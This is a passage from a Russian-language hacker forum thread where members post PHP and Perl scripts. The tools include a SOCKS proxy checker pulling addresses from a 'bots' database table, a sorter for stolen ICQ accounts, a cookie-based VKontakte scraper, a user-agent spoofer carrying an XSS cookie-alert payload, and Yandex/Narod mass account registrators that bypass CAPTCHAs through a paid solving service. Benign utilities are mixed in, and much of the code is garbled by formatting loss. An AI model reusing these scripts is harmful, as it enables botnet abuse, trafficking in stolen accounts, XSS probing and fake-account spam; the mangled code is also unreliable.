    				file_put_contents("goods.txt", $cl->proxy . "\n", FILE_APPEND);
    			}
    			$cl->close();
    		}
    		unset($clients);
    		return 0;
    	}
    
    	function get_proxies ($url){
    
    		$raw = file($url);
    		$proxies = array();
    		foreach($raw as $proxy){
    			$proxy = str_replace("<br>", "", trim($proxy));
    			$proxies [] = $proxy;
    		}
    		unset($raw);
    		return $proxies;
    	}
    
    	do {
    		$start = time();
    
    		file_put_contents($goodfile, "");
    
    		$proxies = get_proxies($socksurl);
    		$chunked_proxies = array_chunk ($proxies, $count_at_time);
    		foreach($chunked_proxies as $chunk){
    			echo 'next chunk...', "<br>\n";
    			httpPost($chunk, $connect_timeout, $timeout);
    		}
    		$end = time();
    		echo 'check done!', " $start:$end <br>\n";
    		if ($looped ){
    			sleep($loop_pause);
    		} else {
    			break;
    		}
    	} while(!file_exists($stop_file));
    
    	if (function_exists('xdebug_start_trace')){
    		xdebug_stop_trace();
    	}
    ?>
    Если нужно брать соксы на чек из мускула, ставьте УРЛ на этот скрипт (должен лежать на сервере с sql):

    Code:
    <?
    
    include("access.php");
    
        mysql_connect($dbhost, $dbuser, $dbpass);
        mysql_select_db($dbname);
    $result = mysql_query("SELECT `http`,  `socks`, `ipaddr`     FROM `bots`");     // Названия таблиц с нужными параметрами
    
        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
          echo $row['ipaddr'] . ":" . $row['socks'] . "<br>\n";     // Формат построения списка и разделитель
    }
    
    ?>
    Рядом должен быть файл с данными ДБ (access.php) в след формате:

    Code:
    <?php
    
    # database
    	$dbhost = "localhost";
    	$dbname = "Your_Db_Name";
    	$dbuser = "DB_User";
    	$dbpass = "DB_Password";
    ?>
     
    #991 glts, 24 Aug 2010
    Last edited: 24 Aug 2010
  12. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    Это не многопоточный, это с неблокирующими сокетами.
     
  13. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Скрипт перевода русского текста в набор на англ раскладке
    Code:
    #!/usr/bin/perl
    
    if (@ARGV < 1)
    {
        print "Usage: transkey.pl source\r\n";
        exit();
    }
    
    $sour = $ARGV[0];
    
    if (@ARGV = 1){
        $dest = $sour . '_trans';
    }
    else{
        $dest = $ARGV[1];
    };
    
    $alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
    $alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';
    
    open (SR, "<$sour") || die "Could not open source file";
    open (DS, ">$dest") || die "Could not create destination file";
    
    while (<SR>){
        chomp;
        @bukvy = split(//);
            foreach $bk (@bukvy) {
                $num = ord($bk);
                if ($num < 256){
                    if ($num > 223){
                        $bk = substr($alphabet,$num-224,1);
                    }else{
                        if ($num > 191){
                            $bk = substr($alphabet2,$num-192,1);
                        };
                    };
                };
            }
        print DS join("",@bukvy) . "\n";
    };
    
    close (SR);
    close (DS);
    
     
  14. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Разбивка угнанных асек по файлам:
    PHP:
    <?php
     $r
    =";"//разделитель
     
    $f=file("source.txt"); //файл с аськами
     
    $si=fopen("6.txt","a+"); //шохи
     
    $s=fopen("7.txt","a+"); //семёрки
     
    $e=fopen("8.txt","a+"); //восьмёры
     
    $n=fopen("9.txt","a+"); //девятки
     
    $o=fopen("o.txt","a+"); //остальное
     
    for($i=0;$i<count($f);$i++)
     {
         
    $l=explode($r,trim($f[$i]));
         switch(
    strlen($l[0]))
         {
             case 
    6fwrite($si,$f[$i]);break;
             case 
    7fwrite($s,$f[$i]);break;
             case 
    8fwrite($e,$f[$i]);break;
             case 
    9fwrite($n,$f[$i]);break;
             default: 
    fwrite($o,$f[$i]);break;
         }
     }
     
    fclose($si);
     
    fclose($s);
     
    fclose($e);
     
    fclose($n);
     
    fclose($o);
    ?>
     
  15. Anarh1st

    Anarh1st Member

    Joined:
    19 May 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    Парсим оповещения вконтакте (группы, друзья и т.д.)

    PHP:
    <?
    function 
    сonnect($link){ 
    $cookie=file_get_contents('cookies.txt');
    $ch curl_init();
            
    curl_setopt($chCURLOPT_URL,$link);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);
            
    curl_setopt($chCURLOPT_TIMEOUT10);
            
    curl_setopt($chCURLOPT_GET1);
            
    curl_setopt($chCURLOPT_HEADER1); 
            
    curl_setopt($chCURLOPT_COOKIE$cookie);
            
    $otvet curl_exec($ch);
            
    curl_close($ch);
    return 
    $otvet;
    }
    $link='http://vkontakte.ru/feed.php';
    $res=сonnect($link,$cookie);
    preg_match('#messages{count=(.*?)}#'$res $arr[1]);
    preg_match('#friends{count=(.*?)}#'$res $arr[2]);
    preg_match('#messages{count=(.*?)}#'$res $arr[3]);
    preg_match('#events{count=(.*?)}#'$res $arr[4]);
    preg_match('#photos{count=(.*?)}#'$res $arr[5]);
    preg_match('#videos{count=(.*?)}#'$res $arr[6]);
    preg_match('#groups{count=(.*?)}#'$res $arr[7]);
    print_r($arr);
    ?>
    Подмена Юзер-агента

    PHP:
    <?php 

    function get($url)

    $qwe '<script>alert(document.cookie)</script>'#Юзер-агент
    $ch curl_init(); 
    curl_setopt($chCURLOPT_URL,$url); 
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
    curl_setopt($chCURLOPT_USERAGENT$qwe); 
    curl_setopt($chCURLOPT_REFERER"http://google.ru/");
    $ss=curl_exec($ch); 
    curl_close($ch); 
    return 
    $ss


    $a=get('http://google.ru/'); 
    echo 
    $a;
    ?>
     
  16. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Скрипт рандомно выводит разные картинки в подписи...

    PHP:
    <?php

        $directory 
    'sig';
        
    $dir opendir($directory);
        while(
    $file readdir($dir))
        {
            if (
    $file != "." && $file != "..")
            {
                
    $sig[] = $file;
            }
        }

        
    $sigs    count($sig) - 1;
        
    $random    rand(0$sigs);

        
    $jpg $png $gif = (substr($sig[$random], -3))    ?    '1'    '';
        
    $jpeg = (substr($sig[$random], -4))    ?    '1'    '';

        if (
    $sigs 0)
        {
            echo 
    'Empty directory '.$directory.'<br/>Please upload image files';
        }

        if (
    substr($sig[$random], -3) == "jpg" || substr($sig[$random], -4) == "jpeg")
        {
            
    header('Content-type: image/jpeg');
            
    $tmp file_get_contents($directory."/".$sig[$random]);
            
    $img base64_encode($tmp);
            echo 
    base64_decode($img);
        }
        else
        if (
    substr($sig[$random], -3) == "png")
        {
            
    header('Content-type: image/png');
            
    $tmp file_get_contents($directory."/".$sig[$random]);
            
    $img base64_encode($tmp);
            echo 
    base64_decode($img);
        }
        else
        if (
    substr($sig[$random], -3) == "gif")
        {
            
    header('Content-type: image/gif');
            
    $tmp file_get_contents($directory."/".$sig[$random]);
            
    $img base64_encode($tmp);
            echo 
    base64_decode($img);
        }
        else
        {
            echo 
    'Only filetype gif, jpg, jpeg, png';
        }
    ?>
    [​IMG]
     
  17. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Универсальная функция для получения cookies из заголовка ответа сервера. Возвращает строку, которую можно сразу вставлять в заголовок Cookie.

    PHP:
    function get_ret_cookie($res)
    {
      
    preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
      if(!isset(
    $cook[1])) return '';

      
    $cookies=implode('; ',array_unique($cook[1]));
      return 
    $cookies;
    }
    PS. NOmeR1, спасибо за совет)
     
  18. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202

    PHP:
    function pregCookie($headers)
        {
            
    preg_match_all('#Set-cookie: (.*;)#UiS',$headers,$headers);
            return 
    implode('',$headers['1']);
        }
     
    1 person likes this.
  19. диана777

    диана777 New Member

    Joined:
    12 Nov 2008
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    а есть ли такой скрипт для просмотра кто заходил на страницу в контакте???
     
  20. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Авторегер E-mail + сайтов Narod.ru

    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email 'yandex_mail.txt'// Файл с E-mail
    $narod 'narod.txt';      // Файл с FTP
    $ammount '5';           // Количество регистраций
    $divider ':';          // Разделитель
    $ac_key ' ';          // Ключ антикапчи
    #$proxy = ' ';         // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy)
    //-----------------//
     
           
    function post($url,$post,$refer)
        {
           
    $ch curl_init($url);
           
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
           
    curl_setopt($chCURLOPT_POST1);
           
    curl_setopt($chCURLOPT_POSTFIELDS$post);
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
           
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
          
    #curl_setopt($ch, CURLOPT_PROXY, $proxy);
           
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
           
    $result  curl_exec($ch);
           return 
    $result;
        }
     
        
    /* Функция для распознавания капчи */
        
    function recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 1$min_len 0$max_len 0)
       {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
     
        
    $postdata = array(
            
    'method'    => 'post'
            
    'key'       => $apikey
            
    'file'      => '@'.$filename//полный путь к файлу
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,
     
        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch)) 
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
            
    $waittime 0;
            if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
                if (
    strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout
                    {
                        if (
    $is_verbose) echo "timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                }
            }
     
            return 
    false;
        }
        }
     
        function 
    login()
         {
             
    $letters 'abcdefghijklmopkqrstuvwxyz';
             for (
    $p 0$p 20$p++)
               {
                 
    $login .= $letters{rand(0strlen($letters) - 1)};
               }
             return 
    $login;
          }       
     
     
        
    /* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */
        
    for ($y 1$y <= $ammount$y++)
        {
        
    /* Генерируем Логин... */
        
    $login login();
     
           
    /* ...имя */
          
    $name rand(0,7777777);
     
          
    /* ...пароль */
          
    $password rand(0,7777777);
     
        
    /* Выходи из почты */
        
    post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
     
        
    /* Начинаем регистрацию */
        
    $result post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
     
        
    /* Получаем значения */
        
    preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
        
    preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
        
    preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
     
        
    /* Создаём картинку капчи */
        
    file_put_contents('captcha.jpg',file_get_contents('http://passport.yandex.ru/digits?idkey='.$captcha[1]));
     
        
    /* Распознаём её */
        
    $text=recognize(getcwd()."/captcha.jpg",$ac_key,false);
     
            
    /* Регистрируем E-mail... */    
        
    $result post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes''http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
     
        
    /* ...и FTP */
        
    $ftp post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/');
     
            
    /* Проверяем всё ли прошло успешно */
            
    if(preg_match('#logout">(.*?)<#i',$result,$end))
            {
     
                  
    /* Сохраняем результаты */
              
    $fh fopen($email"a+");
              
    $success fwrite($fh$login.'@yandex.ru'.$divider.$password."\r\n");
              
    fclose($fh);
     
              
    $na fopen($narod"a+");
              
    $success fwrite($na$login.'.narod.ru'.$divider.$password."\r\n");
              
    fclose($na);
            }
        }
     
        
    /* geforse.name */
    ?>


    Полуавтоматический регистратор E-mail Яндекс


    [​IMG]
    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email 'yandex.txt';   // Файл с E-mail
    $divider ':';         // Разделитель
    //-----------------//
     
           
    function post($url,$post,$refer)
        {
           
    $ch curl_init($url);
           
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
           
    curl_setopt($chCURLOPT_POST1);
           
    curl_setopt($chCURLOPT_POSTFIELDS$post);
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
           
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
           
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
           
    $result  curl_exec($ch);
           return 
    $result;
        }
     
           
    /* Генерируем Логин... */
        
    $letters 'abcdefghijklmopkqrstuvwxyz';
        for (
    $i 0$i 20$i++)
          {
            
    $login .= $letters{rand(0strlen($letters) - 1)};
          }
           
    /* ...имя */
          
    $name rand(0,7777777);
     
          
    /* ...пароль */
          
    $password rand(0,7777777);
     
          
    /* Если нам передали капчу */
        
    if($_POST['captcha'])
        {
             
    /* Отправляем данные*/
         
    $result post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes''http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
     
                
    /* Проверка правильности ввода капчи */
              
    if (preg_match('#or">(.*?) н#i',$result,$bad_capt)) 
              {
               echo 
    '<script>alert(\'Не правильный код!\')</script>';
           }
           else
           {
                   
    /* Запись в файл */
              
    $fh fopen($email"a+");
              
    $success fwrite($fh$_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n");
              
    fclose($fh);
           }
           
    Header('Location: index.php');
        exit;
        }
        else
        {
        
    /* Если не передали капчу */
        /* Выходим из почты */
        
    post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
     
        
    /* Начинаем регистрацию */
        
    $result post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
     
        
    /* Получаем значения */
        
    preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
        
    preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
        
    preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
     
        
    /* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */
        
    echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br>
              <form name="captcha_form" action="index.php" method="POST">
              <input type="text" name="captcha" value="" /><br>
              <input type="hidden" name="ncrnd" value="'
    .$ncrnd[1].'" />
              <input type="hidden" name="idkey" value="'
    .$idkey[1].'" />
              <input type="hidden" name="name" value="'
    .$name.'" />
              <input type="hidden" name="login" value="'
    .$login.'" />
              <input type="hidden" name="password" value="'
    .$password.'" />
                 <input type="submit" value="ok">
               </form>'

        }
              
    /* Выводим результат */
             
    if (file_exists($email))
                {
                
    $quantity_email count(file($email));    
                    echo 
    'В базе <b>'.$quantity_email.'</b> E-mail';
             }